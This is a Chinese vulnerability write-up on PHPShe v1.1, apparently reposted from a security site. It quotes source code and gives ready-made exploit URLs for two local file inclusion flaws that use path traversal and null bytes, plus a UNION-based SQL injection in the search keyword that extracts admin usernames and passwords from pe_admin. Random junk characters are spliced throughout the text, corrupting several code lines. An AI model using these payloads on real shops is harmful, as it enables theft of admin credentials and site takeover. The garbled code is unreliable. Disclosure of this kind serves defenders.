phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
/* Phpshe v1.1 Vulnerability
/* ========================
/ ]! A) c8 B) A. L- q/* By: : Kn1f3
7 f, b* u- _, F' H7 {/* E-Mail : 681796@qq.com
' _2 V7 ~, Q0 L0 `9 n  O/*******************************************************/
0×00 整体大概参数传输
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/ j  ]! |4 D$ ~& c$ i# [

//common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
2 j( e: r) y* k' h4 yelse {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
+ ~, ^0 Z% P2 G# v+ ?( [}
# f4 ^- |/ L- Y% |& Asession_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
( U* _! a  k) s2 N!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
# ~3 J0 H2 o3 C7 l0 z* R* a
  E  Q, ~4 W4 f& f8 O) w9 E0×01 包含漏洞


//首页文件
9 T% ^8 w+ Q+ r. w<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
& G: f, x& [. G: o  Ainclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
, ^5 {3 ^8 C! b, t6 Npe_result();
) D2 O6 N3 \; ?, R?>
& e. q# {2 _0 G* A7 a//common 文件 第15行开始
url路由配置
$module = $mod = $act = 'index';
- p' b& a$ P( Y4 X$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
# g" W& [1 b6 c$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
4 ~# e- A- t& d" o$ G3 S3 P1 n' r& A

/ B0 ~7 w" e6 g  l& B 0×02 搜索注入

* e: H: H) l# @! T9 ^* S( k2 Y<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
% ^6 f. Z4 x9 ~6 Y+ F! }+ A% e  z; n$info = $db->pe_select('category', array('category_id'=>$category_id));
  o, J1 E3 Q4 h, D$ ?( k; E) t3 `, J//搜索
$sqlwhere = " and `product_state` = 1";
. g0 p0 z  j8 [6 L7 _, rpe_lead('hook/category.hook.php');
if ($category_id) {
2 q* L9 x& }# z) C8 U' H/ X1 Wwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
# e$ W5 b2 {$ m$ u}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
' E; m' N9 S7 d6 gif ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
0 L0 k( r  I! v' L  v$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
; v$ J/ ?! n, O}
- w4 ]7 L  _5 s" R1 g0 jelse {
& `# r) O/ P8 P' v5 a! }. a$sqlwhere .= " order by `product_id` desc";
}
# p! L+ ]! r. s/ q% l" ^0 C, Z$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
+ i& b4 v( A8 ~) r) `  U//热卖排行
8 }! y5 J6 o* r; q* m4 d: _$product_hotlist = product_hotlist();
//当前路径
$nowpath = category_path($category_id);
* W; P/ d7 z$ q  y$seo = pe_seo($info['category_name']);
7 Y( r- M7 q+ S+ j7 ]! h0 cinclude(pe_tpl('product_list.html'));
//跟进selectall函数库
& f* x, k/ D7 S- g7 }. apublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
) B/ C" h( U( Freturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>
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0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

" Y: w# n+ P  W. [  \9 E$cache_payway = cache::get('payway');

1 O' _4 M: Z/ w' H3 iforeach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

0 R/ \  w) L! {  p$ y1 q; ]if ($k == 'bank') {

$ Q) I$ {$ R7 c6 J. R& r9 B' b$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

0 J* ^0 j! R& ?}

}

& m( y& w' G; w6 q5 q+ Y$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

& k) k6 ?) A" `+ ?3 D" j!$order['order_id'] && pe_error('订单号错误...');

7 l# \. s" ~7 p% J; Pif (isset($_p_pesubmit)) {

% M5 }6 ?" P3 V# O3 Q% I5 Wif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

# M- O7 [1 V! {0 T( m: J$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";
% J. @- u% N) U' P* o2 {

6 T/ P2 W: Q6 B: f6 m}

echo '正在为您连接支付网站，请稍后...';

: u3 L4 J/ U7 Binclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

- K9 a6 H, ^& H. L" m}//当一切准备好的时候就可以进行"鸡肋包含了"

* e# q; Q" W0 H3 O+ Gelse {

pe_error('支付错误...');

}

4 r4 Z+ K$ W) b# c8 e}

$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

% R7 |4 k! u" R: t9 |( tbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
% u7 Z8 g0 m) S5 Uhttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg